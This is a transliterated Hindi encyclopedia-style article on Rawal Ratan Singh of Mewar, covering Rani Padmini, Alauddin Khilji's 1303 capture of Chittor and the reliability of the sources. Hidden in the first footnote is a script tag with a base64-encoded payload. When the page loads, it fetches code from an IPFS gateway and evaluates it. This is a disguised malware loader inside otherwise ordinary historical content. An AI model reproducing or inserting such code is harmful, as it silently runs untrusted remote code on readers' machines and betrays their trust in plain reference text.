रावल रतन सिंह

भारत डिस्कवरी प्रस्तुति
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raval ratan sianh
poora nam raval ratan sianh
pita/mata raval samarasianh
pati/patni rani padmini
shasan 1302-1303 ee.
dharmik manyata hindoo
rajadhani chittau d
rajagharana rajapoot
vansh guhilaut rajavansh
any janakari 28 janavari, 1303 ee. ko alauddin khilazi ka chittau d ke qile par adhikar ho gaya. rana ratan sianh yuddh mean shahid hue aur usaki patni rani padmini ne any striyoan ke sath jauhar kar liya.

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raval ratan sianh athava ratan sianh dvitiy (1302-1303 ee.) meva d ke shasak the, jisaki rajadhani chittau d thi. ye raval samarasianh ke putr the.

rani padmini se vivah

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raval samarasianh ke bad raval ratan sianh chittau d ki rajagaddi par baitha. raval ratan sianh ka vivah rani padmini ke sath hua tha. rani padmini ke roop, yauvan aur jauhar vrat ki katha, madhyakal se lekar vartaman kal tak charanoan, bhatoan, kaviyoan, dharmapracharakoan aur lokagayakoan dvara vividh roopoan evan ashayoan mean vyakt huee hai. ratan sianh ki rani padmini apoorv sundar thi. usaki sundarata ki khyati door-door tak phaili thi. usaki sundarata ke bare mean sunakar dilli ka tatkalin badashah alauddin khilazi padmini ko pane ke lie lalayit ho utha aur usane rani ko pane hetu chittau d durg par ek vishal sena ke sath chadhaee kar di. usane chittau d ke qile ko kee mahinoan ghere rakha par chittau d ki raksharth par tainat rajapoot sainikoan ke adamy sahas v virata ke chalate kee mahinoan ki ghera bandi v yuddh ke bavazood vah chittau d ke qile mean ghus nahian paya. tab alauddin khilazi ne kootaniti se kam lene ki yojana banaee aur apane doot ko chittau d ratanasianh ke pas bhej sandesh bheja ki

"ham to apase mitrata karana chahate haian, rani ki sundarata ke bare mean bahut suna hai so hamean to sirph ek bar rani ka muanh dikha dijiye ham ghera uthakar dilli vapas laut jayeange."

ratanasianh khilazi ka yah sandesh sunakar agababoola ho uthe par rani padmini ne is avasar par dooradarshita ka parichay dete hue apane pati ratnasianh ko samajhaya ki

"mere karan vyarth hi chittau d ke sainikoan ka rakt bahana buddhimani nahian hai.

rani ko apani nahian poore meva d ki chianta thi vah nahian chahati thian ki usake chalate poora meva d rajy tabah ho jaye aur praja ko bhari duahkh uthana p de kyoanki meva d ki sena alauddin ki vishal sena ke age bahut chhoti thi. rani ne bich ka rasta nikalate hue kaha ki alauddin rani ke mukh de ko dekhane ke lie itana beqarar hai to darpan mean usake pratibianb ko dekh sakata hai.[1]

aitihasik ullekh

alauddin khilazi ke sath chittau d ki chadhaee mean upasthit amir khusaro ne ek itihas lekhak ki sthiti se n to 'tarikhe alaee' mean aur n sahriday kavi ke roop mean alauddin ke bete khijr khaan aur gujarat ki rani devaladevi ki premagatha 'masanavi khijr khaan' mean hi isaka kuchh sanket kiya hai. isake atirikt paravarti farasi itihas lekhakoan ne bhi is sanbadh mean kuchh bhi nahian likha hai. keval farishta ne 1303 ee. mean chittau d ki chadhaee ke lagabhag 300 varsh bad aur jayasikrit 'padmavat'[2] ki rachana ke 70 varsh pashchath sanh 1610 mean 'padmavat' ke adhar par is vrittaant ka ullekh kiya jo tathy ki drishti se vishvasaniy nahian kaha ja sakata. gaurishankar hirachand ojha ka kathan hai ki padmavat, tarikhe farishta aur tad ke sankalanoan mean tathy keval yahi hai ki chadhaee aur ghere ke bad alauddin ne chittau d ko vijit kiya, vahaan ka raja ratanasianh mara gaya aur usaki rani padmini ne rajapoot ramaniyoan ke sath jauhar ki agni mean atmahuti de di.

alauddin khilazi se yuddh

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chittau d ka qila samarik drishtikon se bahut surakshit sthan par bana hua tha. isalie yah qila alauddin khilazi ki nigah mean chadha hua tha. kuchh itihasakaroan ne amir khusarav ke rani shaiba aur suleman ke prem prasang ke ullekh adhar par aur 'padmavat ki katha' ke adhar par chittau d par alauddin ke akraman ka karan rani padmini ke anupam saundary ke prati usake akarshan ko thaharaya hai. antatah 28 janavari, 1303 ee. ko alauddin khilazi ka chittau d ke qile par adhikar ho gaya. rana ratan sianh yuddh mean shahid hua aur usaki patni rani padmini ne any striyoan ke sath jauhar kar liya. qile par adhikar ke bad sultan ne lagabhag 30,000 rajapoot viroan ka katl karava diya. usane chittau d ka nam khizr khaan ke nam par 'khizrabad' rakha aur khizr khaan ko sauanp kar dilli vapas a gaya.

chittau d ko punah svatantr karane ka prayatn rajapootoan dvara jari tha. isi bich alauddin ne khizr khaan ko vapas dilli bulakar chittau d durg ki zimmedari rajapoot saradar maladev ko sauanp di. alauddin ki mrityu ke pashchath guhilaut rajavansh ke hammiradev ne maladev par akraman kar 1321 ee. mean chittau d sahit poore meva d ko azad karava liya. is tarah alauddin ki mrityu ke bad chittau d ek bar phir poorn svatantr ho gaya.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ↑ rani padmini (hindi) jnan darpan. abhigaman tithi: 28 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ 'padmavat' (rachanakal 1540 ee.

bahari k diyaan

sanbandhit lekh

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rajapoot samrajy (900–1162 ee.)

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